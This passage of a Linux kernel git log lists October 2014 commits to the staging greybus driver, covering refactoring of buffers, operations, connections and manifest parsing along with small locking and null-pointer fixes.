CPort message handlers are not needed. All incoming data is passed to handlers based on the protocol used over the connection over which the data was transferred. So get rid of the old CPort handler code. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gbuf.c | 30 ------------------------------ 1 file changed, 30 deletions(-) commit c149f8ffb2cbd1fa77f2c964bc547577835af647 Author: Alex Elder Date: Thu Oct 16 06:35:36 2014 -0500 greybus: kill off gbuf work queue At this point all incoming messages are handled by the operation code, so this obviates the need for the gbuf workqueue. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gbuf.c | 25 +------------------------ drivers/staging/greybus/greybus.h | 1 - 2 files changed, 1 insertion(+), 25 deletions(-) commit 574341c67213afdc9dcb5aefb4f6fa84644438bb Author: Alex Elder Date: Thu Oct 16 06:35:35 2014 -0500 greybus: add device initialization Set up the infrastructure for initializing connections based on their protocol. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 24 +++++++++++++++++++++ drivers/staging/greybus/connection.h | 2 ++ drivers/staging/greybus/core.c | 8 ++++--- drivers/staging/greybus/greybus.h | 2 ++ drivers/staging/greybus/interface.c | 15 +++++++++++++ drivers/staging/greybus/interface.h | 2 ++ drivers/staging/greybus/module.c | 41 ++++++++++++++++++++++++------------ drivers/staging/greybus/module.h | 2 ++ 8 files changed, 79 insertions(+), 17 deletions(-) commit 2eb585f8df3f2121751ff8cf9b2cd8040575bff2 Author: Alex Elder Date: Thu Oct 16 06:35:34 2014 -0500 greybus: move receive handling to operation layer Create a work queue to do the bulk of processing of received operation request or response messages. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 10 +++ drivers/staging/greybus/operation.c | 143 +++++++++++++++++++++++++++--------- drivers/staging/greybus/operation.h | 5 ++ 3 files changed, 123 insertions(+), 35 deletions(-) commit d90c25b0a279b006becc36c166f27e99578409cd Author: Alex Elder Date: Thu Oct 16 06:35:33 2014 -0500 greybus: let operation layer examine incoming data Give the operation layer a chance to examine incoming data so that it can handle it appropriately. Treat the data as an operation message header. If it's a response, look up the operation it's associated with. If it's not, create a new operation. Copy the incoming data into the request or response buffer. The next patch adds a work queue to pick up handling the request or response from there. Get rid of gb_operation_submit(). Instead, we have two functions, one for sending an operation's request message, the other for sending an operation's response message. Not fully functional yet, still just filling things in... Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gbuf.c | 1 + drivers/staging/greybus/operation.c | 132 +++++++++++++++++++++++++++--------- drivers/staging/greybus/operation.h | 7 ++ 3 files changed, 108 insertions(+), 32 deletions(-) commit 84d148b10e26d55b41726c7b5a6d227f10b39b0a Author: Alex Elder Date: Thu Oct 16 06:35:32 2014 -0500 greybus: add gb_operation_find() Add a red-black tree indexed by operation id to a connection to allow pending operations (whose requests are in-flight) to be found when their matching response is recieved. Assign the id at the time an operation is inserted, and update the operation's message header(s) to include it. Rename gb_connection_op_id() to be more consistent with the naming conventions being used elsewhere. (Noting now that this may switch to a simple list implementation based on Greg's assertion that lists are faster than red-black trees for up to a few hundred entries.) Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 3 +- drivers/staging/greybus/connection.h | 3 +- drivers/staging/greybus/operation.c | 86 +++++++++++++++++++++++++++++++++++- drivers/staging/greybus/operation.h | 4 +- 4 files changed, 92 insertions(+), 4 deletions(-) commit 22b320f400f38afac70fff0472c4df1cf1bfeee5 Author: Alex Elder Date: Thu Oct 16 06:35:31 2014 -0500 greybus: add response buffer to an operation We need to track both request messages and response messages in operations. So add another gbuf (and payload pointer) field to the operation structure, and rename them to indicate which one is which. Allow the creator specify the size of the response buffer; just leave it a null pointer if the size is 0. Define a new helper function gb_operation_gbuf_create() to encapsulate creating either a request or a response buffer. Any buffer associated with a connection will (eventually) have been created as part of an operation. So stash the operation pointer in the gbuf as the context pointer. Whether a buffer is for the request or the response can be determined by pointer comparison. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 125 ++++++++++++++++++++++++++---------- drivers/staging/greybus/operation.h | 12 +++- 2 files changed, 100 insertions(+), 37 deletions(-) commit 17d265f6a69aef5920cf3d6669735239cb792184 Author: Alex Elder Date: Thu Oct 16 06:35:30 2014 -0500 greybus: stop init_subdevs stuff Upcoming patches are going to set up devices based on what is discovered in the module manifest. Get rid of the hard-coded initialization done by gb_init_subdevs(), along with other related code. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 75 ++------------------------------------- drivers/staging/greybus/greybus.h | 17 --------- 2 files changed, 2 insertions(+), 90 deletions(-) commit 61418b9fd9a4e38b5ba41f7c1703083a989dda09 Author: Alex Elder Date: Thu Oct 16 06:35:29 2014 -0500 greybus: drop hd arg from submit_gbuf method Every gbuf is associated with a connection when it is created. And a connection contains a pointer to the host device that will carry messages. So there's no need for the submit_gbuf() method to have the host device pointer passed to it, the function can get it from the gbuf's connection. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 4 ++-- drivers/staging/greybus/gbuf.c | 2 +- drivers/staging/greybus/greybus.h | 3 +-- 3 files changed, 4 insertions(+), 5 deletions(-) commit a7901d5ef7ff6bb6b7fdc500d9383450b23ba059 Author: Alex Elder Date: Thu Oct 16 06:35:28 2014 -0500 greybus: zero all data buffers Don't assume the buffer data area will all be overwritten. Zero all buffer space, to avoid sending crap over the wire. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 170229d19586955e30604b2de37557e09a70b66c Author: Alex Elder Date: Thu Oct 16 06:35:27 2014 -0500 greybus: don't restrict input buffer size Don't assume that input buffers have any particular content. The only thing the gbuf layer needs to be concerned with is the presence of the cport_id byte at the beginning of a transfer. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit a06df4b08cee2cd201b3cbb7ee8312ea68cc2047 Author: Alex Elder Date: Thu Oct 16 06:35:26 2014 -0500 greybus: unlock hd mutex on free When free_hd() is called, hd_mutex is held. It is the responsibility of free_hd() to drop that mutex. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 1 + 1 file changed, 1 insertion(+) commit ad8cd0d643f0c3f86755a0169bb7c9597005fa8e Author: Alex Elder Date: Thu Oct 16 06:35:25 2014 -0500 greybus: unlock gbuf mutex on free To drop a reference on a gbuf, greybus_free_gbuf() is called. That uses kref_put_mutex() to drop the refernce under protection of gbuf_mutex. However the release routine, free_gbuf(), never releases the mutex as it should. Fix that. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gbuf.c | 1 + 1 file changed, 1 insertion(+) commit 051fb04712593a1bebdf638cd9f9935db2ce48aa Author: Alex Elder Date: Thu Oct 16 06:35:24 2014 -0500 greybus: don't assume subdevs are valid Most of the disconnect routines for the "subdevs" of a module blindly assume that initialization of the subdev was successful. Fix this by checking for null pointers. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 2 ++ drivers/staging/greybus/gpio-gb.c | 2 ++ drivers/staging/greybus/i2c-gb.c | 2 ++ drivers/staging/greybus/sdio-gb.c | 4 +++- 4 files changed, 9 insertions(+), 1 deletion(-) commit 8fd39e3dcb881501726ed0161855ed7a61f642ef Author: Matt Porter Date: Mon Oct 13 03:00:53 2014 -0400 greybus: es1-ap-usb: handle -EPROTO in check_urb_status() On a disconnect we can also have a status of -EPROTO. This results in a flood of error messages due to the -EAGAIN handling of unsupported status results. Fix this by also returning status when we have -EPROTO. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 1 + 1 file changed, 1 insertion(+) commit 8218605d20fff015bb3f76060ad7fe87d4362fc0 Author: John Stultz Date: Fri Oct 10 14:42:33 2014 -0700 greybus: Changes required for integrating into the Android build In order to easily integrate into the Android build, include an Android.mk. Signed-off-by: John Stultz Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Android.mk | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) commit 9b60aa02bae723db131ae8f4e460c09a3b528a3f Author: Greg Kroah-Hartman Date: Mon Oct 6 20:37:53 2014 -0700 greybus: greybus_manifest.h: add BSD license so that firmware can share it. drivers/staging/greybus/greybus_manifest.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 62e120f599c203da7ffa455581405ff26786d83c Author: Greg Kroah-Hartman Date: Mon Oct 6 20:37:18 2014 -0700 greybus: svc_msg.h: add bsd license to file so that firmware can use it. drivers/staging/greybus/svc_msg.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c4f37c62fafef55972dfbce31d253df9b4d85bd0 Author: Greg Kroah-Hartman Date: Mon Oct 6 20:37:08 2014 -0700 greybus: greybus_id.h: checkpatch cleanup drivers/staging/greybus/greybus_id.h | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 8faa8da9a621821dfc5945cff415c4d3f904f3ce Author: Greg Kroah-Hartman Date: Mon Oct 6 20:34:48 2014 -0700 greybus: greybus.h: remove transfer_flags We didn't use them, so drop it. Also some other checkpatch cleanups while I was in there. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit 25b7b6d04bdfc76631cc02012f33f10bc27dd27e Author: Greg Kroah-Hartman Date: Mon Oct 6 20:29:40 2014 -0700 greybus: connection: properly lock idr We had a lock, but we never used it, so move it to be per-hd, like the idr structure is. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 6 +++++- drivers/staging/greybus/core.c | 4 +--- drivers/staging/greybus/greybus.h | 1 + 3 files changed, 7 insertions(+), 4 deletions(-) commit ff8aed527455feea7d36bb45dd529b7931150087 Author: Matt Porter Date: Mon Oct 6 13:46:36 2014 -0400 greybus: fix gb_manifest_parse() successful return path Even if we successfully parse a manifest we are returning failure. Instead, we now proudly proclaim success. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit e86905b6cd73ce62af88b3526dbc10c14d47016d Author: Marti Bolivar Date: Mon Oct 6 13:26:02 2014 -0400 greybus: gb_hd_connection_find(): fix "not found" case Without this, null-testing the return value of this function is broken. Signed-off-by: Marti Bolivar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 7a13e2f68831cba76cb699103b27219649ca6e57 Author: Matt Porter Date: Mon Oct 6 09:58:44 2014 -0400 greybus: fix manifest parsing problem with descriptor payload The internal struct manifest_desc needs the data payload, rather than the entire descriptor with header to be populated into the data field. Also fix two places where the parser was trying to extract the entire descriptor with header for the data payload field. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) commit e8caf9a31b90d7c596cfcd5810dbf6910f3cbcc6 Author: Alex Elder Date: Mon Oct 6 06:53:13 2014 -0500 greybus: get rid of gbuf->hdpriv Last time I tried to kill off gbuf->context my efforts were shot down. Now that I've got the connection infrastructure in place, maybe I'll have more luck getting rid of gbuf->hdpriv. The only place it's used is to stash the es1_ap_dev structure pointer in the buffer. But that information is now available through the buffer's connection, so we don't need to use the hdpriv field any more. So get rid of it, and use hd_to_es1(gbuf->connection->hd) to get at what we need. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 6 +----- drivers/staging/greybus/greybus.h | 1 - 2 files changed, 1 insertion(+), 6 deletions(-) commit fdb594f1366327f10cbc8167a9923a5e88a381fa Author: Alex Elder Date: Mon Oct 6 06:53:12 2014 -0500 greybus: kill __alloc_gbuf() GEt rid of __alloc_gbuf(), now that it's used in only one place. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gbuf.c | 33 +++++++++------------------------ 1 file changed, 9 insertions(+), 24 deletions(-) commit 9a6f6314d17ce2b66a6293b86f79afda6e9a563b Author: Alex Elder Date: Mon Oct 6 06:53:11 2014 -0500 greybus: use alloc_gbuf_data() for both directions Change the "direction" flag field of a gbuf to be a Boolean called "outbound". Add a Boolean outbound flag to alloc_gbuf_data(), and use it for allocating the data buffer for gbufs for data being transferred in either direction. Update free_gbuf_data() accordingly--letting the host device driver's gbuf data free function handle all of them. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 30 +++++++++++++++++++----------- drivers/staging/greybus/gbuf.c | 27 ++++++++------------------- drivers/staging/greybus/greybus.h | 9 ++++----- drivers/staging/greybus/operation.c | 2 +- 4 files changed, 32 insertions(+), 36 deletions(-) commit 6eb3f4bdec331c951906792479a0f7ea49fe9a5c Author: Alex Elder Date: Mon Oct 6 06:53:10 2014 -0500 greybus: allocate gbufs using the connection Switch to using the connection rather than the host device as the locus for doing Greybus buffer allocation. A connection encapsulates both the host device (whose driver is what's required for allocation) and the *destination* cport id. Record the connection a gbuf is associated with rather than the host module and (unspecified) cport id. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 10 +++++----- drivers/staging/greybus/gbuf.c | 22 ++++++++++------------ drivers/staging/greybus/greybus.h | 5 ++--- drivers/staging/greybus/operation.c | 4 +--- 4 files changed, 18 insertions(+), 23 deletions(-) commit 00d2e7588c79a2b9681f243d06ad02a254ab4ff9 Author: Alex Elder Date: Mon Oct 6 06:53:09 2014 -0500 greybus: look up connection for recevied messages Look up the connection that an incoming message is associated with. This is the start of making message handling oriented toward the the connection rather than the cport. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gbuf.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit ee9ebe4d0b78e64f0c3741085d230ea18c15f4e4 Author: Alex Elder Date: Mon Oct 6 06:53:08 2014 -0500 greybus: add bg_hd_connection_find() Add a function that looks up a connection given the host device pointer an the host cport id. This will be used to determine which connection an incoming message is associated with. Replace the list tracking host device connections with a red-black tree so lookup can scale and be done quickly. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 54 ++++++++++++++++++++++++++++++++++-- drivers/staging/greybus/connection.h | 5 +++- drivers/staging/greybus/core.c | 2 +- drivers/staging/greybus/greybus.h | 2 +- 4 files changed, 58 insertions(+), 5 deletions(-) commit 369fb8324969a94c2f243ea56641993ee2061e60 Author: Alex Elder Date: Mon Oct 6 06:53:07 2014 -0500 greybus: bury some dead code One data structure and a few fields in another one are no longer used, and were not removed when they should have been. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 9 --------- 1 file changed, 9 deletions(-) commit f6aec2516a1afcab2cdd1897098afe8b4bb435f2 Author: Alex Elder Date: Mon Oct 6 06:53:06 2014 -0500 greybus: fix two misnamed functions I guess I got a little hd crazy. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 2fb5c518fcbc6c33f36039c23a9fe38a64ad4040 Author: Greg Kroah-Hartman Date: Sat Oct 4 18:43:41 2014 -0700 greybus: manifest.c: minor sparse cleanup drivers/staging/greybus/manifest.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit eeeed42250f851a9c3368448b63c5aeaae65962a Author: Alex Elder Date: Fri Oct 3 15:05:22 2014 -0500 greybus: define gb_connection_err() Define a function that prints error information about a Greybus connection in a standard format. This adopts the convention that [M:I:C] represents the "path" the connection represents--specifying the module id, the interface number on that module, and the connection id on that interface. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 18 ++++++++++++++++++ drivers/staging/greybus/connection.h | 3 +++ 2 files changed, 21 insertions(+) commit 8a30672a526adcf797bcd3e40d4ef90d8b794f3f Author: Alex Elder Date: Fri Oct 3 15:05:21 2014 -0500 greybus: add a connection->private field This will be used for driver-specific data for whatever drives the other end of the connection. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.h | 2 ++ 1 file changed, 2 insertions(+) commit b0b657555c8f9bb64189a0ff8824de1ad992f889 Author: Alex Elder Date: Fri Oct 3 15:05:20 2014 -0500 greybus: specify type when creating an operation The type of an operation belongs in the operation header, which shouldn't be touched by users of the interface. So specify it at operation creation time. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 5 +++-- drivers/staging/greybus/operation.h | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) commit 652433f3fe97e3609acd9afcb9b50ec62f7a8d05 Author: Alex Elder Date: Fri Oct 3 15:05:19 2014 -0500 greybus: gbuf: have caller set actual_length A Greybus buffer has both a transfer_buffer_size field, which is the size in bytes of the transfer buffer, and an actual_length field, which is the number of bytes in that buffer that are actually consumed. The user of the buffer--and not the buffer allocation method--should be setting the actual_length field. Stop setting the actual length on the es1-ap-usb alloc_gbuf_data method. And *do* set it in gb_operation_create(), where we can presume the operation being allocated will consume all the bytes requested. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 1 - drivers/staging/greybus/operation.c | 1 + 2 files changed, 1 insertion(+), 1 deletion(-) commit 937d0da83ffde769f24b5124d66f793045c5da10 Author: Alex Elder Date: Fri Oct 3 14:14:25 2014 -0500 greybus: fix module setup The code that was setting up a module was not properly initializing the module data structure. Fixing this required a little rework. Now gb_add_module() (which the host device pointer and module id) allocates and initializes the structure, and passes it to gb_manifest_parse() for populating it further. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 13 ++++++-- drivers/staging/greybus/manifest.c | 63 +++++++++++++++++--------------------- drivers/staging/greybus/manifest.h | 3 +- 3 files changed, 40 insertions(+), 39 deletions(-) commit 177404bd20fdabd77d04ad818d56ab34150fff4c Author: Alex Elder Date: Fri Oct 3 14:14:24 2014 -0500 greybus: use ida for cport id allocation The ida mechanism for allocating ids may be overkill but it works. Don't preallocate the id 0 for control. That should be done when initializing connections based on the manifest anyway. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 40 ++++++++++++++++++-- drivers/staging/greybus/core.c | 71 +----------------------------------- drivers/staging/greybus/greybus.h | 6 +-- 3 files changed, 40 insertions(+), 77 deletions(-) commit 063e6ec221b6a68d28642e6653ae7cef2fdb11fd Author: Alex Elder Date: Fri Oct 3 14:14:23 2014 -0500 greybus: fix greybus_class_type symbol names These were inadvertently not fixed when the type name was changed. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) commit 748e1230cb921369738104415ed9352e81ccc413 Author: Alex Elder Date: Fri Oct 3 14:14:22 2014 -0500 greybus: fix some hasty bugs Fix some omissions found in the code. - initialize and use the host device connections list - rename the interface connections list (was "functions") - use the interface connections list - define a spinlock protecting the connections lists - declare gb_operation_submit() in "operation.h" And the cport id map lock is per-host device, it's shared across all host devices. There's no need for one in struct greybus_host_device. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 12 ++++++++++++ drivers/staging/greybus/core.c | 5 +++-- drivers/staging/greybus/greybus.h | 1 - drivers/staging/greybus/interface.c | 2 +- drivers/staging/greybus/interface.h | 2 +- 5 files changed, 17 insertions(+), 5 deletions(-) commit d7f9be4867e060712b6d9aaa1a8c98d15976c71d Author: Matt Porter Date: Fri Oct 3 14:32:35 2014 -0400 greybus: implement core module removal path Implement gb_remove_module() by finding the gb_module to be removed via the supplied module_id. Add support for removing the actual device into greybus_remove_device() after all the subdevs are disconnected. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) commit 32dff13d21120cfbf6196347f7bc74e9236fce1e Author: Matt Porter Date: Fri Oct 3 13:38:24 2014 -0400 greybus: fix gb_add_module() by enabling the device_add() Without the gb_module device being added, we have no parent device for any of the greybus subdevs to be added. Do the device_add() before creating subdevs as we need it then to register any children in the various greybus protocol drivers. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 2f30d9ffeee15fb655f1f5e288e69e46a3059b39 Author: Greg Kroah-Hartman Date: Thu Oct 2 21:26:26 2014 -0700 greybus: manifest: some minor sparse warning fixups. drivers/staging/greybus/manifest.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 322543a335c9dc9393a7472ce0b53a428ab3decd Author: Greg Kroah-Hartman Date: Thu Oct 2 21:25:21 2014 -0700 greybus: operation: fix endian issue in the operation message header size field. drivers/staging/greybus/operation.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ad1c449eb905ac1bf819afe9b799c11a6cf304a6 Author: Alex Elder Date: Thu Oct 2 12:30:06 2014 -0500 greybus: record connection protocol Record the protocol association with a connection when it gets created. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 4 +++- drivers/staging/greybus/connection.h | 4 ++-- drivers/staging/greybus/manifest.c | 2 +- 3 files changed, 6 insertions(+), 4 deletions(-) commit cd345074bb7cb2c2bdd6bc3b042c38a74128ed6c Author: Alex Elder Date: Thu Oct 2 12:30:05 2014 -0500 greybus: get rid of functions now... We decided yesterday that we would no longer support the notion of a "function." Instead, a connection will simply exist between the AP and an interface on a module (and a CPort Id on each end). What was previously considered the "function type" will now be handled as the "protocol" associated with the connection. Update gb_connection_create() to take just the interface and a cport id associated with that interface. Right now every module points back to a host device, so for now we'll establish the connection back to that. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 - drivers/staging/greybus/connection.c | 20 +++++++------ drivers/staging/greybus/connection.h | 13 ++++---- drivers/staging/greybus/function.c | 57 ------------------------------------ drivers/staging/greybus/function.h | 23 --------------- drivers/staging/greybus/greybus.h | 1 - drivers/staging/greybus/manifest.c | 2 +- drivers/staging/greybus/operation.c | 4 +-- 8 files changed, 22 insertions(+), 99 deletions(-) commit 9e8a6860f5d113b42334b27f12217ee9fb9970f9 Author: Alex Elder Date: Thu Oct 2 12:30:04 2014 -0500 greybus: allocate connection host cport id Allocate a cport id from the host device whenever creating a connection. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 10 ++++++++-- drivers/staging/greybus/connection.h | 2 +- 2 files changed, 9 insertions(+), 3 deletions(-) commit 1bb3c724e85b3d13f6b2e455fb60c6e664f8f28d Author: Alex Elder Date: Thu Oct 2 12:30:03 2014 -0500 greybus: create host device cport id map A Greybus host device has a pool of CPort Ids it can use. When we establish a connection with a CPort on another module we will need to allocate one from those that are available. This patch adds a bitmap to the greybus host device structure that allows cport ids to be allocated and freed as needed. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 75 +++++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/greybus.h | 18 ++++++++++ 2 files changed, 93 insertions(+) commit 63cc932b02bc5e697b5ba8f04a5d846b61f38879 Author: Alex Elder Date: Thu Oct 2 12:30:02 2014 -0500 greybus: October 1 updates Update the definitions in "greybus_manifest.h" to reflect the changes to the Greybus specification made on October 1. They are: - renaming "device" to be "interface" - renumbering greybus descriptor type - eliminating the notion of a "function" - defining a CPort's protocol in the CPort descriptor - having a "class" take on the types previously used for "function" - renaming "serial number" to be "unique id" (for now) - relying on an interface's maximum cport id to determine how much device+cport address space the interface consumes - adding a simple class descriptor - renaming gb_interface->interface_id to be gb_interface->id This also reorders some things to match ordering in the document, and adds some commentary for the various structures. Since greybus_function_type is gone, we eliminate the "type" field from a function structure. (Functions are going away, next.) Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/function.c | 3 +- drivers/staging/greybus/function.h | 4 +- drivers/staging/greybus/greybus_id.h | 2 +- drivers/staging/greybus/greybus_manifest.h | 83 +++++++++++++++++++----------- drivers/staging/greybus/interface.c | 2 +- drivers/staging/greybus/interface.h | 2 +- drivers/staging/greybus/manifest.c | 29 ++++++----- drivers/staging/greybus/module.c | 4 +- drivers/staging/greybus/module.h | 2 +- drivers/staging/greybus/sysfs.c | 4 +- 10 files changed, 79 insertions(+), 56 deletions(-) commit b05890db5e75aa0627f3f5d2241cc90fc399a697 Author: Alex Elder Date: Thu Oct 2 12:30:01 2014 -0500 greybus: fix connection header declarations Changes to the create/destroy connection functions were not properly reflected in the header file. Fix that. There's also no need to include anything other than "greybus.h". Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.h | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 459164b1f4d8075e6eaf0fd8eaa54e84c9e3fb3a Author: Alex Elder Date: Wed Oct 1 21:54:19 2014 -0500 greybus: kill off old manifest code Now that the new manifest code is in place, delete the old stuff from "core.c". Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 112 ++++------------------------------------- 1 file changed, 9 insertions(+), 103 deletions(-) commit c095bbcfcb1728aea3e9730ea6997373e3744582 Author: Alex Elder Date: Wed Oct 1 21:54:18 2014 -0500 greybus: manifest cport descriptor parsing Add support for parsing one or more cports descriptors in a module manifest. There must be at least one for each interface, but we impose no limit on the number of interfaces associated with a module. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 48 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) commit d88bfb5b7df54f81869b28a25511e8ab957c4ced Author: Alex Elder Date: Wed Oct 1 21:54:17 2014 -0500 greybus: manifest interface descriptor parsing Add support for parsing one or more interface descriptors in a module manifest. There must be at least one, but we impose no limit on the number of interfaces associated with a module. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 46 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) commit b09c94a1b71c82385ffa5f3c913d7d6e14eaea3d Author: Alex Elder Date: Wed Oct 1 21:54:16 2014 -0500 greybus: start improving manifest parsing Currently the module manifest parsing code is sort of representative only and is not really very useful. This patch begins doing "real" parsing of the module manifest. It scans the module manifest to identify the descriptors it holds. It then verifies there's only one module descriptor found, and initializes new some fields in the gb_module structure based on what it contains (converting what's found to native byte order). Note that if anything unexpected is found or other errors occur when parsing the manifest, the parse fails. Because we now save this converted information when it's parsed we no longer have a greybus_descriptor_module struct within a struct gb_module. And because we've already converted these values, we can do a little less work displaying values in sysfs. (We also now show vendor, product, and version values in the right byte order.) This eliminates the need for greybus_string(), so get rid of it. It also slightly simplifies the greybus module matching code. Move some existing parsing code into a new file, "manifest.c". Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/core.c | 64 +------- drivers/staging/greybus/greybus.h | 3 +- drivers/staging/greybus/manifest.c | 313 +++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/manifest.h | 14 ++ drivers/staging/greybus/module.c | 13 +- drivers/staging/greybus/module.h | 9 +- drivers/staging/greybus/sysfs.c | 38 ++--- 8 files changed, 365 insertions(+), 90 deletions(-) commit e88afa5811c741facff3fa695d340133ac8a1be1 Author: Alex Elder Date: Wed Oct 1 21:54:15 2014 -0500 greybus: introduce an operation abstraction This patch defines a new "operation" abstraction. An operation is a request from by one end of a connection to the function (or AP) on the other, coupled with a matching response returned to the requestor. The request indicates some action to be performed by the target of the request (such as "read some data"). Once the action has completed the target sends back an operation response message. Additional data can be supplied by the sender with its request, and/or by the target with its resposne message. Each request message has a unique id, generated by the sender. The sender recognizes the matching response by the presence of this id value. Each end of a connection is responsible for creating unique ids for the requests it sends. An operation also has a type, whose interpretation is dependent on the function type on the end of the connection opposite the sender. It is up to the creator of an operation to fill in the data (if any) to be sent with the request. Note that not all requests are initiated by the AP. Incoming data on a module function can result in a request message being sent from that function to the AP to notify of the data's arrival. Once the AP has processed this, it sends a response to the sender. Every operation response contains a status byte. If it's value is 0, the operation was successful. Any other value indicates an error. Add a defintion of U16_MAX to "kernel_ver.h". Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/connection.c | 14 +++ drivers/staging/greybus/connection.h | 5 + drivers/staging/greybus/greybus.h | 1 + drivers/staging/greybus/kernel_ver.h | 4 + drivers/staging/greybus/operation.c | 171 +++++++++++++++++++++++++++++++++++ drivers/staging/greybus/operation.h | 69 ++++++++++++++ 7 files changed, 265 insertions(+) commit c68adb2f2c999886f8e18e98ad4e69aec14c9f32 Author: Alex Elder Date: Wed Oct 1 21:54:14 2014 -0500 greybus: introduce a connection abstraction Within a UniPro network a pair of CPorts can be linked to form a UniPro Connection. This patch creates a new abstraction to represent an AP CPort that is connected with a CPort used by 